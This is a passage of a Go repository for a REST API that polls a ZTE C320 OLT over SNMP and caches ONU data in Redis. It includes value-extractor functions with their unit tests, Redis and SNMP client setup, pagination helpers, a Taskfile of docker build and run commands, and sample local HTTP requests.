82 | if !ok {
83 | return "", fmt.Errorf("value is not an integer")
84 | }
85 |
86 | // Multiply the integer by 0.002
87 | result := float64(intValue) * 0.002
88 |
89 | // Subtract 30
90 | result -= 30.0
91 |
92 | // Convert the result to a string with two decimal places
93 | resultStr := strconv.FormatFloat(result, 'f', 2, 64)
94 |
95 | return resultStr, nil
96 | }
97 |
98 | func ExtractAndGetStatus(oidValue interface{}) string {
99 | // Check if oidValue is not an integer
100 | intValue, ok := oidValue.(int)
101 | if !ok {
102 | return "Unknown"
103 | }
104 |
105 | switch intValue {
106 | case 1:
107 | return "Logging"
108 | case 2:
109 | return "LOS"
110 | case 3:
111 | return "Synchronization"
112 | case 4:
113 | return "Online"
114 | case 5:
115 | return "Dying Gasp"
116 | case 6:
117 | return "Auth Failed"
118 | case 7:
119 | return "Offline"
120 | default:
121 | return "Unknown"
122 | }
123 | }
124 |
125 | func ExtractLastOfflineReason(oidValue interface{}) string {
126 | // Check if oidValue is not an integer
127 | intValue, ok := oidValue.(int)
128 | if !ok {
129 | return "Unknown"
130 | }
131 |
132 | switch intValue {
133 | case 1:
134 | return "Unknown"
135 | case 2:
136 | return "LOS"
137 | case 3:
138 | return "LOSi"
139 | case 4:
140 | return "LOFi"
141 | case 5:
142 | return "sfi"
143 | case 6:
144 | return "loai"
145 | case 7:
146 | return "loami"
147 | case 8:
148 | return "AuthFail"
149 | case 9:
150 | return "PowerOff"
151 | case 10:
152 | return "deactiveSucc"
153 | case 11:
154 | return "deactiveFail"
155 | case 12:
156 | return "Reboot"
157 | case 13:
158 | return "Shutdown"
159 | default:
160 | return "Unknown"
161 | }
162 | }
163 |
164 | func ExtractGponOpticalDistance(oidValue interface{}) string {
165 | // Check if oidValue is not an integer
166 | intValue, ok := oidValue.(int)
167 | if !ok {
168 | return "Unknown"
169 | }
170 |
171 | return strconv.Itoa(intValue)
172 | }
173 |
--------------------------------------------------------------------------------
/internal/utils/extractor_test.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "fmt"
5 | "testing"
6 |
7 | "github.com/stretchr/testify/assert"
8 | )
9 |
10 | func TestExtractONUID(t *testing.T) {
11 | testCases := []struct {
12 | oid string
13 | expected string
14 | }{
15 | // Test with valid OID values
16 | {"1.2.3.4.5", "5"},
17 | {"1.2.3", "3"},
18 | {"1", "1"},
19 | {"", ""},
20 |
21 | // Test with invalid OID values
22 | {"invalid.oid", ""}, // Add test case for an invalid OID
23 | }
24 |
25 | for _, tc := range testCases {
26 | t.Run(fmt.Sprintf("OID: %v", tc.oid), func(t *testing.T) {
27 | result := ExtractONUID(tc.oid)
28 | assert.Equal(t, tc.expected, result)
29 | })
30 | }
31 | }
32 |
33 | func TestExtractIDOnuID(t *testing.T) {
34 | testCases := []struct {
35 | oid interface{}
36 | expected int
37 | }{
38 | {"1.2.3.4.5", 5},
39 | {"1.2.3", 3},
40 | {"1", 1},
41 | {nil, 0},
42 | {123, 0},
43 | {"", 0},
44 | {"1.2.3.4.invalid", 0},
45 | }
46 |
47 | for _, tc := range testCases {
48 | t.Run(fmt.Sprintf("OID: %v", tc.oid), func(t *testing.T) {
49 | result := ExtractIDOnuID(tc.oid)
50 | assert.Equal(t, tc.expected, result)
51 | })
52 | }
53 | }
54 |
55 | func TestExtractName(t *testing.T) {
56 | testCases := []struct {
57 | oidValue interface{}
58 | expected string
59 | testName string
60 | }{
61 | {"test", "test", "string"},
62 | {[]byte("test"), "test", "byte slice"},
63 | {10, "Unknown", "Unknown"},
64 | }
65 |
66 | for _, tc := range testCases {
67 | t.Run(tc.testName, func(t *testing.T) {
68 | result := ExtractName(tc.oidValue)
69 | assert.Equal(t, tc.expected, result)
70 | })
71 | }
72 | }
73 |
74 | func TestExtractSerialNumber(t *testing.T) {
75 | testCases := []struct {
76 | oidValue interface{}
77 | expected string
78 | }{
79 | {"1,SerialNumber", "SerialNumber"},
80 | {"SerialNumber", "SerialNumber"},
81 | {[]byte("1,SerialNumber"), "SerialNumber"},
82 | {[]byte("SerialNumber"), "SerialNumber"},
83 | {10, ""},
84 | }
85 |
86 | for _, tc := range testCases {
87 | t.Run(fmt.Sprintf("OIDValue: %v", tc.oidValue), func(t *testing.T) {
88 | result := ExtractSerialNumber(tc.oidValue)
89 | assert.Equal(t, tc.expected, result)
90 | })
91 | }
92 | }
93 |
94 | func TestConvertAndMultiply(t *testing.T) {
95 | testCases := []struct {
96 | pduValue interface{}
97 | expected string
98 | err bool
99 | }{
100 | {10, "-29.98", false},
101 | {0, "-30.00", false},
102 | {"string", "Unknown", true},
103 | }
104 |
105 | for _, tc := range testCases {
106 | t.Run(fmt.Sprintf("PDUValue: %v", tc.pduValue), func(t *testing.T) {
107 | result, err := ConvertAndMultiply(tc.pduValue)
108 | if tc.err {
109 | assert.Error(t, err)
110 | } else {
111 | assert.NoError(t, err)
112 | assert.Equal(t, tc.expected, result)
113 | }
114 | })
115 | }
116 | }
117 |
118 | func TestExtractAndGetStatus(t *testing.T) {
119 | testCases := []struct {
120 | oidValue interface{}
121 | expected string
122 | }{
123 | // Test with valid integer values
124 | {1, "Logging"},
125 | {2, "LOS"},
126 | {3, "Synchronization"},
127 | {4, "Online"},
128 | {5, "Dying Gasp"},
129 | {6, "Auth Failed"},
130 | {7, "Offline"},
131 |
132 | // Test with invalid integer input
133 | {"invalid", "Unknown"},
134 | {8, "Unknown"}, // Add test case for a value not covered in the switch
135 | }
136 |
137 | for _, tc := range testCases {
138 | t.Run(fmt.Sprintf("OIDValue: %v", tc.oidValue), func(t *testing.T) {
139 | result := ExtractAndGetStatus(tc.oidValue)
140 | assert.Equal(t, tc.expected, result)
141 | })
142 | }
143 | }
144 |
145 | // TestExtractLastOfflineReason tests the ExtractLastOfflineReason function.
146 | func TestExtractLastOfflineReason(t *testing.T) {
147 | tests := []struct {
148 | name string
149 | oidValue interface{}
150 | expected string
151 | }{
152 | {
153 | name: "Valid value 1",
154 | oidValue: 1,
155 | expected: "Unknown",
156 | },
157 | {
158 | name: "Valid value 2",
159 | oidValue: 2,
160 | expected: "LOS",
161 | },
162 | {
163 | name: "Valid value 3",
164 | oidValue: 3,
165 | expected: "LOSi",
166 | },
167 | {
168 | name: "Valid value 4",
169 | oidValue: 4,
170 | expected: "LOFi",
171 | },
172 | {
173 | name: "Valid value 5",
174 | oidValue: 5,
175 | expected: "sfi",
176 | },
177 | {
178 | name: "Valid value 6",
179 | oidValue: 6,
180 | expected: "loai",
181 | },
182 | {
183 | name: "Valid value 7",
184 | oidValue: 7,
185 | expected: "loami",
186 | },
187 | {
188 | name: "Valid value 8",
189 | oidValue: 8,
190 | expected: "AuthFail",
191 | },
192 | {
193 | name: "Valid value 9",
194 | oidValue: 9,
195 | expected: "PowerOff",
196 | },
197 | {
198 | name: "Valid value 10",
199 | oidValue: 10,
200 | expected: "deactiveSucc",
201 | },
202 | {
203 | name: "Valid value 11",
204 | oidValue: 11,
205 | expected: "deactiveFail",
206 | },
207 | {
208 | name: "Valid value 12",
209 | oidValue: 12,
210 | expected: "Reboot",
211 | },
212 | {
213 | name: "Valid value 13",
214 | oidValue: 13,
215 | expected: "Shutdown",
216 | },
217 | {
218 | name: "Invalid value",
219 | oidValue: 14,
220 | expected: "Unknown",
221 | },
222 | {
223 | name: "Non-integer value",
224 | oidValue: "string",
225 | expected: "Unknown",
226 | },
227 | {
228 | name: "Nil value",
229 | oidValue: nil,
230 | expected: "Unknown",
231 | },
232 | }
233 |
234 | for _, tt := range tests {
235 | t.Run(tt.name, func(t *testing.T) {
236 | result := ExtractLastOfflineReason(tt.oidValue)
237 | if result != tt.expected {
238 | t.Errorf("ExtractLastOfflineReason() = %v, expected %v", result, tt.expected)
239 | }
240 | })
241 | }
242 | }
243 |
244 | // TestExtractGponOpticalDistance tests the ExtractGponOpticalDistance function.
245 | func TestExtractGponOpticalDistance(t *testing.T) {
246 | tests := []struct {
247 | name string
248 | oidValue interface{}
249 | expected string
250 | }{
251 | {
252 | name: "Valid integer value",
253 | oidValue: 12345,
254 | expected: "12345",
255 | },
256 | {
257 | name: "Another valid integer value",
258 | oidValue: 0,
259 | expected: "0",
260 | },
261 | {
262 | name: "Negative integer value",
263 | oidValue: -6789,
264 | expected: "-6789",
265 | },
266 | {
267 | name: "Non-integer value",
268 | oidValue: "string",
269 | expected: "Unknown",
270 | },
271 | {
272 | name: "Nil value",
273 | oidValue: nil,
274 | expected: "Unknown",
275 | },
276 | }
277 |
278 | for _, tt := range tests {
279 | t.Run(tt.name, func(t *testing.T) {
280 | result := ExtractGponOpticalDistance(tt.oidValue)
281 | if result != tt.expected {
282 | t.Errorf("ExtractGponOpticalDistance() = %v, expected %v", result, tt.expected)
283 | }
284 | })
285 | }
286 | }
287 |
--------------------------------------------------------------------------------
/internal/utils/load.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | // GetConfigPath for local or docker
4 | func GetConfigPath(configPath string) string {
5 | if configPath == "development" {
6 | return "./config/config-dev"
7 | } else if configPath == "heroku" {
8 | return "./config/config-heroku"
9 | } else if configPath == "production" {
10 | return "./config/config-prod"
11 | } else {
12 | return "./config/cfg"
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/internal/utils/load_test.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import "testing"
4 |
5 | func TestGetConfigPath(t *testing.T) {
6 | // Kasus uji untuk configPath "development"
7 | configPath := "development"
8 | expectedPath := "./config/config-dev"
9 | result := GetConfigPath(configPath)
10 | if result != expectedPath {
11 | t.Errorf("For configPath %s, got %s, expected %s", configPath, result, expectedPath)
12 | }
13 |
14 | // Kasus uji untuk configPath "heroku"
15 | configPath = "heroku"
16 | expectedPath = "./config/config-heroku"
17 | result = GetConfigPath(configPath)
18 | if result != expectedPath {
19 | t.Errorf("For configPath %s, got %s, expected %s", configPath, result, expectedPath)
20 | }
21 |
22 | // Kasus uji untuk configPath "production"
23 | configPath = "production"
24 | expectedPath = "./config/config-prod"
25 | result = GetConfigPath(configPath)
26 | if result != expectedPath {
27 | t.Errorf("For configPath %s, got %s, expected %s", configPath, result, expectedPath)
28 | }
29 |
30 | // Kasus uji default
31 | configPath = "unknown"
32 | expectedPath = "./config/cfg"
33 | result = GetConfigPath(configPath)
34 | if result != expectedPath {
35 | t.Errorf("For configPath %s, got %s, expected %s", configPath, result, expectedPath)
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/internal/utils/response.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | type WebResponse struct {
4 | Code int32 `json:"code"`
5 | Status string `json:"status"`
6 | Data interface{} `json:"data"`
7 | }
8 |
9 | type ErrorResponse struct {
10 | Code int32 `json:"code"`
11 | Status string `json:"status"`
12 | Message interface{} `json:"message"`
13 | }
14 |
--------------------------------------------------------------------------------
/internal/utils/response_test.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "encoding/json"
5 | "errors"
6 | "net/http"
7 | "net/http/httptest"
8 | "testing"
9 | )
10 |
11 | func TestSendRequestJSONResponse(t *testing.T) {
12 | // Inisialisasi ResponseWriter dan Request
13 | rr := httptest.NewRecorder()
14 |
15 | // Contoh respons yang ingin Anda kirim
16 | response := WebResponse{
17 | Code: 200,
18 | Status: "OK",
19 | Data: map[string]string{"key": "value"},
20 | }
21 |
22 | // Panggil fungsi SendJSONResponse
23 | SendJSONResponse(rr, http.StatusOK, response)
24 |
25 | // Periksa kode status respons
26 | if status := rr.Code; status != http.StatusOK {
27 | t.Errorf("Status code tidak sesuai: got %v want %v", status, http.StatusOK)
28 | }
29 |
30 | // Periksa tipe konten
31 | expectedContentType := "application/json"
32 | if contentType := rr.Header().Get("Content-Type"); contentType != expectedContentType {
33 | t.Errorf("Content-Type tidak sesuai: got %v want %v", contentType, expectedContentType)
34 | }
35 |
36 | // Periksa respons JSON
37 | var decodedResponse WebResponse
38 | err := json.NewDecoder(rr.Body).Decode(&decodedResponse)
39 | if err != nil {
40 | t.Errorf("Gagal mendekode respons JSON: %v", err)
41 | }
42 |
43 | }
44 |
45 | func TestErrorBadRequestBos(t *testing.T) {
46 | // Inisialisasi ResponseWriter
47 | rr := httptest.NewRecorder()
48 |
49 | // Contoh error
50 | err := errors.New("Bad Request")
51 |
52 | // Panggil fungsi ErrorBadRequest
53 | ErrorBadRequest(rr, err)
54 |
55 | // Periksa kode status respons
56 | if status := rr.Code; status != http.StatusBadRequest {
57 | t.Errorf("Status code tidak sesuai: got %v want %v", status, http.StatusBadRequest)
58 | }
59 |
60 | // Periksa tipe konten
61 | expectedContentType := "application/json"
62 | if contentType := rr.Header().Get("Content-Type"); contentType != expectedContentType {
63 | t.Errorf("Content-Type tidak sesuai: got %v want %v", contentType, expectedContentType)
64 | }
65 |
66 | // Periksa respons JSON
67 | var decodedResponse ErrorResponse
68 | err = json.NewDecoder(rr.Body).Decode(&decodedResponse)
69 | if err != nil {
70 | t.Errorf("Gagal mendekode respons JSON: %v", err)
71 | }
72 |
73 | expectedResponse := ErrorResponse{
74 | Code: http.StatusBadRequest,
75 | Status: "Bad Request",
76 | Message: "Bad Request",
77 | }
78 |
79 | if decodedResponse != expectedResponse {
80 | t.Errorf("Respons JSON tidak sesuai: got %+v want %+v", decodedResponse, expectedResponse)
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/pkg/graceful/graceful.go:
--------------------------------------------------------------------------------
1 | package graceful
2 |
3 | import (
4 | "context"
5 | "errors"
6 | "fmt"
7 | "log"
8 | "net/http"
9 | "os"
10 | "os/signal"
11 | "syscall"
12 | "time"
13 | )
14 |
15 | func Shutdown(ctx context.Context, server *http.Server) error {
16 | ch := make(chan error, 1)
17 |
18 | go func() {
19 | err := server.ListenAndServe()
20 | if err != nil && !errors.Is(err, http.ErrServerClosed) {
21 | ch <- fmt.Errorf("failed to start server: %v", err)
22 | }
23 | close(ch)
24 | }()
25 |
26 | // Create a channel to capture OS signals (e.g., SIGINT or SIGTERM).
27 | signalCh := make(chan os.Signal, 1)
28 | signal.Notify(signalCh, os.Interrupt, syscall.SIGTERM)
29 |
30 | select {
31 | case err := <-ch:
32 | return err
33 | case <-ctx.Done():
34 | timeoutCtx, cancel := context.WithTimeout(context.Background(), time.Second*10)
35 | defer cancel()
36 | if err := server.Shutdown(timeoutCtx); err != nil {
37 | log.Printf("Failed to gracefully shut down the server: %v", err)
38 | }
39 | case sig := <-signalCh:
40 | log.Printf("Received signal: %v. Shutting down gracefully...", sig)
41 |
42 | // Inisialisasi konteks dengan timeout
43 | shutdownCtx, cancel := context.WithTimeout(context.Background(), time.Second*10)
44 | defer cancel()
45 |
46 | if err := server.Shutdown(shutdownCtx); err != nil {
47 | log.Printf("Failed to gracefully shut down the server: %v", err)
48 | }
49 | }
50 |
51 | return nil
52 | }
53 |
--------------------------------------------------------------------------------
/pkg/pagination/pagination.go:
--------------------------------------------------------------------------------
1 | package pagination
2 |
3 | import (
4 | "net/http"
5 | "strconv"
6 | )
7 |
8 | var (
9 | DefaultPageSize = 10
10 | MaxPageSize = 100
11 | PageVar = "page"
12 | PageSizeVar = "limit"
13 | )
14 |
15 | type Pages struct {
16 | Code int32 `json:"code"`
17 | Status string `json:"status"`
18 | Page int `json:"page"`
19 | PageSize int `json:"limit"`
20 | PageCount int `json:"page_count"`
21 | TotalRows int `json:"total_rows"`
22 | Data interface{} `json:"data"`
23 | }
24 |
25 | func New(page, pageSize, total int) *Pages {
26 | if page <= 0 {
27 | page = 0
28 | }
29 | if pageSize <= 0 {
30 | pageSize = DefaultPageSize
31 | }
32 | if pageSize > MaxPageSize {
33 | pageSize = MaxPageSize
34 | }
35 | pageCount := -1
36 | if total >= 0 {
37 | pageCount = (total + pageSize - 1) / pageSize
38 | }
39 | return &Pages{
40 | Code: 200,
41 | Status: "OK",
42 | Page: page,
43 | PageSize: pageSize,
44 | TotalRows: total,
45 | PageCount: pageCount,
46 | }
47 | }
48 |
49 | func GetPaginationParametersFromRequest(r *http.Request) (pageIndex, pageSize int) {
50 | pageIndex = parseInt(r.URL.Query().Get(PageVar), 1)
51 | pageSize = parseInt(r.URL.Query().Get(PageSizeVar), DefaultPageSize)
52 | return pageIndex, pageSize
53 | }
54 |
55 | func parseInt(value string, defaultValue int) int {
56 | if value == "" {
57 | return defaultValue
58 | }
59 | if result, err := strconv.Atoi(value); err == nil {
60 | return result
61 | }
62 | return defaultValue
63 | }
64 |
--------------------------------------------------------------------------------
/pkg/redis/redis.go:
--------------------------------------------------------------------------------
1 | package redis
2 |
3 | import (
4 | "github.com/megadata-dev/go-snmp-olt-zte-c320/config"
5 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/utils"
6 | "github.com/redis/go-redis/v9"
7 | "os"
8 | "time"
9 | )
10 |
11 | var (
12 | redisHost string
13 | redisPort string
14 | redisPassword string
15 | redisDB int
16 | redisMinIdleConnections int
17 | redisPoolSize int
18 | redisPoolTimeout int
19 | )
20 |
21 | func NewRedisClient(cfg *config.Config) *redis.Client {
22 | if os.Getenv("APP_ENV") == "development" || os.Getenv("APP_ENV") == "production" {
23 | redisHost = os.Getenv("REDIS_HOST")
24 | redisPort = os.Getenv("REDIS_PORT")
25 | redisPassword = os.Getenv("REDIS_PASSWORD")
26 | redisDB = utils.ConvertStringToInteger(os.Getenv("REDIS_DB"))
27 | redisMinIdleConnections = utils.ConvertStringToInteger(os.Getenv("REDIS_MIN_IDLE_CONNECTIONS"))
28 | redisPoolSize = utils.ConvertStringToInteger(os.Getenv("REDIS_POOL_SIZE"))
29 | redisPoolTimeout = utils.ConvertStringToInteger(os.Getenv("REDIS_POOL_TIMEOUT"))
30 | } else {
31 | redisHost = cfg.RedisCfg.Host
32 | redisPort = cfg.RedisCfg.Port
33 | redisPassword = cfg.RedisCfg.Password
34 | redisDB = cfg.RedisCfg.DB
35 | redisMinIdleConnections = cfg.RedisCfg.MinIdleConnections
36 | redisPoolSize = cfg.RedisCfg.PoolSize
37 | redisPoolTimeout = cfg.RedisCfg.PoolTimeout
38 | }
39 |
40 | return redis.NewClient(&redis.Options{
41 | Addr: redisHost + ":" + redisPort,
42 | Password: redisPassword,
43 | DB: redisDB,
44 | MinIdleConns: redisMinIdleConnections,
45 | PoolSize: redisPoolSize,
46 | PoolTimeout: time.Duration(redisPoolTimeout) * time.Second,
47 | })
48 | }
49 |
--------------------------------------------------------------------------------
/pkg/snmp/snmp.go:
--------------------------------------------------------------------------------
1 | package snmp
2 |
3 | import (
4 | "fmt"
5 | "github.com/gosnmp/gosnmp"
6 | "github.com/megadata-dev/go-snmp-olt-zte-c320/config"
7 | "github.com/megadata-dev/go-snmp-olt-zte-c320/internal/utils"
8 | "log"
9 | "os"
10 | "time"
11 | )
12 |
13 | var (
14 | snmpHost string // SNMP host
15 | snmpPort uint16 // SNMP port
16 | snmpCommunity string // SNMP community
17 | //logSnmp gosnmp.Logger // Logger for SNMP
18 | )
19 |
20 | // SetupSnmpConnection is a function to set up snmp connection
21 | func SetupSnmpConnection(config *config.Config) (*gosnmp.GoSNMP, error) {
22 | var logSnmp gosnmp.Logger
23 |
24 | // Check if the application is running in development or production environment
25 | if os.Getenv("APP_ENV") == "development" || os.Getenv("APP_ENV") == "production" {
26 | snmpHost = os.Getenv("SNMP_HOST")
27 | snmpPort = utils.ConvertStringToUint16(os.Getenv("SNMP_PORT"))
28 | snmpCommunity = os.Getenv("SNMP_COMMUNITY")
29 | logSnmp = gosnmp.Logger{}
30 | } else {
31 | snmpHost = config.SnmpCfg.Ip
32 | snmpPort = config.SnmpCfg.Port
33 | snmpCommunity = config.SnmpCfg.Community
34 | logSnmp = gosnmp.NewLogger(log.New(os.Stdout, "", 0))
35 | }
36 |
37 | // Check if SNMP configuration is valid
38 | if snmpHost == "" || snmpPort == 0 || snmpCommunity == "" {
39 | return nil, fmt.Errorf("konfigurasi SNMP tidak valid")
40 | }
41 |
42 | // Create a new SNMP target instance
43 | target := &gosnmp.GoSNMP{
44 | Target: snmpHost,
45 | Port: snmpPort,
46 | Community: snmpCommunity,
47 | Version: gosnmp.Version2c,
48 | Timeout: time.Duration(30) * time.Second,
49 | Retries: 3,
50 | Logger: logSnmp,
51 | }
52 |
53 | // Connect to the SNMP target
54 | err := target.Connect()
55 | if err != nil {
56 | return nil, fmt.Errorf("gagal terhubung ke SNMP: %w", err)
57 | }
58 |
59 | return target, nil
60 | }
61 |
--------------------------------------------------------------------------------
/taskfile.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 |
3 | vars:
4 | EXE: sumitroajiprabowo/go-snmp-olt-zte-c320{{exeExt}}
5 |
6 | tasks:
7 | default:
8 | cmds:
9 | - task: dev
10 |
11 | dev:
12 | desc: Start the local environment
13 | cmds:
14 | - docker compose -f docker-compose.local.yaml up -d && air -c .air.toml
15 |
16 | go-install:
17 | cmds:
18 | - go install {{.REPO}}
19 |
20 | dl-deps:
21 | desc: Install tools required to run/build this app
22 | cmds:
23 | - task: go-install
24 | vars: { REPO: github.com/cosmtrek/air@latest }
25 | - task: tidy
26 |
27 | init:
28 | desc: Initialize the environment
29 | deps: [ dl-deps ]
30 |
31 | tidy:
32 | desc: Clean up dependencies
33 | cmds:
34 | - go mod tidy
35 |
36 | app-build:
37 | desc: Build the app binary
38 | cmds:
39 | - CGO_ENABLED=0 go build -o {{.EXE}} ./cmd/api/main.go
40 | sources:
41 | - ./**/*.go
42 | generates:
43 | - ./{{.EXE}}
44 |
45 | build-image:
46 | desc: Build the docker image
47 | cmds:
48 | - docker build -t {{.EXE}} .
49 |
50 | push-image:
51 | desc: Push docker image with tag latest with multi-arch support (linux/amd64, linux/arm64) to docker hub
52 | cmds:
53 | - docker buildx build --push --platform linux/amd64,linux/arm64,linux/arm/v7 -t {{.EXE}}:latest -f Dockerfile .
54 |
55 | pull-image:
56 | desc: Pull docker image with tag latest with multi-arch support (linux/amd64, linux/arm64) from docker hub
57 | cmds:
58 | - docker pull {{.EXE}}:latest
59 |
60 | docker-run:
61 | desc: Run docker image with tag latest
62 | cmds:
63 | - docker network create local-dev
64 | - docker run -d --name redis-container --network local-dev -p 6379:6379 redis:7.2
65 | - docker run -d -p 8081:8081 --name go-snmp-olt-zte-c320 --network local-dev -e REDIS_HOST=redis-container -e REDIS_PORT=6379 -e REDIS_DB=0 -e REDIS_MIN_IDLE_CONNECTIONS=200 -e REDIS_POOL_SIZE=12000 -e REDIS_POOL_TIMEOUT=240 -e SNMP_HOST=192.168.213.174 -e SNMP_PORT=161 -e SNMP_COMMUNITY=homenetro {{.EXE}}:latest
66 |
67 | docker-stop:
68 | desc: Stop docker image with tag latest
69 | cmds:
70 | - docker stop go-snmp-olt-zte-c320 && docker stop redis-container
71 |
72 | docker-remove:
73 | desc: Remove docker image with tag latest
74 | cmds:
75 | - docker network rm local-dev && docker rm go-snmp-olt-zte-c320 && docker rm redis-container
76 |
77 | up:
78 | desc: Start the docker containers in the background
79 | cmds:
80 | - docker compose up -d
81 |
82 | up-rebuild:
83 | desc: Rebuild the docker containers
84 | cmds:
85 | - docker compose up -d --build
86 |
87 | down:
88 | desc: Stop and remove the docker containers
89 | cmds:
90 | - docker compose down
91 |
92 | restart:
93 | desc: Restart the docker containers
94 | cmds:
95 | - task: down
96 | - task: up
97 |
98 | rebuild:
99 | desc: Rebuild the docker image and up with detached mode
100 | cmds:
101 | - task: down
102 | - task: up-rebuild
--------------------------------------------------------------------------------
/test.http:
--------------------------------------------------------------------------------
1 | ### List All ONU by Board and OLT PON
2 | GET localhost:8081/api/v1/board/2/pon/7
3 |
4 | ### Get ONU by Board and OLT PON and ONU ID
5 | GET localhost:8081/api/v1/board/1/pon/8/onu/11
6 |
7 | ### Get Empty ONU ID by Board and OLT PON
8 | GET localhost:8081/api/v1/board/1/pon/8/onu_id/empty
9 |
10 | ### Update Empty ONU ID by Board and OLT PON on Redis
11 | GET localhost:8081/api/v1/board/1/pon/8/onu_id/update
12 |
13 | ### Get ONU ID by Board and OLT PON with Pagination
14 | GET localhost:8081/api/v1/paginate/board/1/pon/8?page=2
15 |
16 | ### Get ONU ID by Board and OLT PON with Limit
17 | GET localhost:8081/api/v1/paginate/board/1/pon/8?limit=5
18 |
19 | ### Get ONU ID by Board and OLT PON with Pagination and Limit
20 | GET localhost:8081/api/v1/paginate/board/1/pon/8?page=2&limit=5
--------------------------------------------------------------------------------